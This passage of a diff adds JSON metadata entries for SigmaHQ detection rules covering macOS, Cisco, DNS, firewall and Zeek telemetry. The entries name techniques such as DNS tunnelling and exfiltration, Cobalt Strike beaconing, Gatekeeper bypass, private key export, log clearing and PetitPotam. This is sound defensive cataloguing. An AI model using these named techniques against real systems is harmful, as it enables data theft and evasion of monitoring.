aid in the destruction of, those systems.", + "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", + "value": "System Shutdown/Reboot", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_system_shutdown_reboot.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", + "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", + "value": "Potential WizardUpdate Malware Infection", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects macOS Gatekeeper bypass via xattr utility", + "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", + "value": "Gatekeeper Bypass via Xattr", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", + "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", + "value": "Potential XCSSET Malware Infection", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_xcsset_malware_infection.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Clear command history in network OS which is used for defense evasion", + "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", + "value": "Cisco Clear Logs", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_clear_logs.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Collect pertinent data from the configuration files", + "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", + "value": "Cisco Collect Data", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.collection", + "attack.t1087.001", + "attack.t1552.001", + "attack.t1005" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_collect_data.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Commonly run by administrators" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Show when private keys are being exported from the device, or when new certificates are installed", + "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", + "value": "Cisco Crypto Commands", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" + ], + "tags": [ + "attack.credential_access", + "attack.defense_evasion", + "attack.t1553.004", + "attack.t1552.004" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_crypto_actions.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Not commonly run by administrators. Also whitelist your known good certificates" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Turn off logging locally or remote", + "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", + "value": "Cisco Disabling Logging", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_disable_logging.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Find information about network devices that is not stored in config files", + "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", + "value": "Cisco Discovery", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083", + "attack.t1201", + "attack.t1057", + "attack.t1018", + "attack.t1082", + "attack.t1016", + "attack.t1049", + "attack.t1033", + "attack.t1124" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_discovery.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Commonly used by administrators for troubleshooting" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Detect a system being shutdown or put into different boot mode", + "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", + "value": "Cisco Denial of Service", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" + ], + "tags": [ + "attack.impact", + "attack.t1495", + "attack.t1529", + "attack.t1565.001" + ], + "creation_date": "2019/08/15", + "filename": "cisco_cli_dos.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Legitimate administrators may run these commands, though rarely." + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "See what files are being deleted from flash file systems", + "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", + "value": "Cisco File Deletion", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070.004", + "attack.t1561.001", + "attack.t1561.002" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_file_deletion.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Will be used sometimes by admins to clean up local flash space" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "See what commands are being input into the device by other people, full credentials can be in the history", + "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", + "value": "Cisco Show Commands Input", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_input_capture.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Not commonly run by administrators, especially if remote logging is configured" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Find local accounts being created or modified as well as remote authentication configurations", + "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", + "value": "Cisco Local Accounts", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1098" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_local_accounts.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "When remote authentication is in place, this should not change often" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Modifications to a config that will serve an adversary's impacts or persistence", + "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", + "value": "Cisco Modify Configuration", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.impact", + "attack.t1490", + "attack.t1505", + "attack.t1565.002", + "attack.t1053" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_modify_config.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Various protocols maybe used to put data on the device for exfil or infil", + "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", + "value": "Cisco Stage Data", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" + ], + "tags": [ + "attack.collection", + "attack.lateral_movement", + "attack.command_and_control", + "attack.exfiltration", + "attack.t1074", + "attack.t1105", + "attack.t1560.001" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_moving_data.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Generally used to copy configs or IOS images" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Show when a monitor or a span/rspan is setup or modified", + "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", + "value": "Cisco Sniffing", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_net_sniff.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Admins may setup new or modify old spans, or use a monitor for troubleshooting" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", + "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", + "value": "Possible DNS Tunneling", + "meta": { + "refs": [ + "https://zeltser.com/c2-dns-tunneling/", + "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004", + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/04/07", + "filename": "net_dns_c2_detection.yml", + "author": "Patrick Bareiss", + "level": "high", + "falsepositive": [ + "Valid software, which uses dns for transferring data" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", + "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", + "value": "DNS Query to External Service Interaction Domains", + "meta": { + "refs": [ + "https://twitter.com/breakersall/status/1533493587828260866", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.reconnaissance", + "attack.t1595.002" + ], + "creation_date": "2022/06/07", + "filename": "net_dns_external_service_interaction_domains.yml", + "author": "Florian Roth, Matt Kelly (list of domains)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", + "value": "High DNS Bytes Out", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_bytes_out.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", + "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", + "value": "High NULL Records Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_null_records_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS requests amount from host per short period of time", + "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", + "value": "High DNS Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", + "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", + "value": "High TXT Records Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_txt_records_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", + "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", + "value": "Cobalt Strike DNS Beaconing", + "meta": { + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/05/10", + "filename": "net_dns_mal_cobaltstrike.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to Monero mining pools", + "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", + "value": "Monero Crypto Coin Mining Pool Lookup", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496", + "attack.t1567" + ], + "creation_date": "2021/10/24", + "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate crypto coin mining" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries using base64 encoding", + "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", + "value": "Suspicious DNS Query with B64 Encoded String", + "meta": { + "refs": [ + "https://github.com/krmaxwell/dns-exfiltration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/05/10", + "filename": "net_dns_susp_b64_queries.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", + "uuid": "c64c5175-5189-431b-a55e-6d9882158251", + "value": "Telegram Bot API Request", + "meta": { + "refs": [ + "https://core.telegram.org/bots/faq", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102.002" + ], + "creation_date": "2018/06/05", + "filename": "net_dns_susp_telegram_api.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects strings used in command execution in DNS TXT Answer", + "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", + "value": "DNS TXT Answer with Possible Execution Strings", + "meta": { + "refs": [ + "https://twitter.com/stvemillertime/status/1024707932447854592", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/08/08", + "filename": "net_dns_susp_txt_exec_strings.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects wannacry killswitch domain dns queries", + "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", + "value": "Wannacry Killswitch Domain", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2020/09/16", + "filename": "net_dns_wannacry_killswitch_domain.yml", + "author": "Mike Wade", + "level": "high", + "falsepositive": [ + "Analyst testing" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", + "uuid": "881834a4-6659-4773-821e-1c151789d873", + "value": "Equation Group C2 Communication", + "meta": { + "refs": [ + "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", + "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.g0020", + "attack.t1041" + ], + "creation_date": "2017/04/15", + "filename": "net_firewall_apt_equationgroup_c2.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "uuid": "3b6e327d-8649-4102-993f-d25786481589", + "value": "High DNS Bytes Out", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/10/24", + "filename": "net_firewall_high_dns_bytes_out.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS requests amount from host per short period of time", + "uuid": "51186749-7415-46be-90e5-6914865c825a", + "value": "High DNS Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_firewall_high_dns_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", + "value": "Network Scans Count By Destination IP", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2017/02/19", + "filename": "net_firewall_susp_network_scan_by_ip.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", + "value": "Network Scans Count By Destination Port", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2017/02/19", + "filename": "net_firewall_susp_network_scan_by_port.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", + "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", + "value": "Domain User Enumeration Network Recon 01", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/OTRF/detection-hackathon-apt29/issues/37", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1082" + ], + "creation_date": "2020/05/03", + "filename": "zeek_dce_rpc_domain_user_enumeration.yml", + "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", + "level": "medium", + "falsepositive": [ + "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", + "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", + "value": "MITRE BZAR Indicators for Execution", + "meta": { + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-execution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053.002", + "attack.t1569.002" + ], + "creation_date": "2020/03/19", + "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", + "author": "@neu5ron, SOC Prime", + "level": "medium", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", + "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", + "value": "MITRE BZAR Indicators for Persistence", + "meta": { + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2020/03/19", + "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", + "author": "@neu5ron, SOC Prime", + "level": "medium", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", + "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", + "value": "Potential PetitPotam Attack Via EFS RPC Calls", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", + "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", + "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", + "https://threatpost.com/microsoft-petitpotam-poc/168163/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" + ], + "tags": [ + "attack.t1557.001", + "attack.t1187" + ], + "creation_date": "2021/08/17", + "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", + "author": "@neu5ron, @Antonlovesdnb, Mike Remen", + "level": "medium", + "falsepositive": [ + "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", + "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", + "value": "Possible PrintNightmare Print Driver Install", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/corelight/CVE-2021-1675", + "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", + "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.1678", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/08/23", + "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", + "author": "@neu5ron (Nate Guagenti)", + "level": "medium", + "falsepositive": [ + "Legitimate remote alteration of a printer driver." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", + "value": "SMB Spoolss Name Piped Usage", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2018/11/28", + "filename": 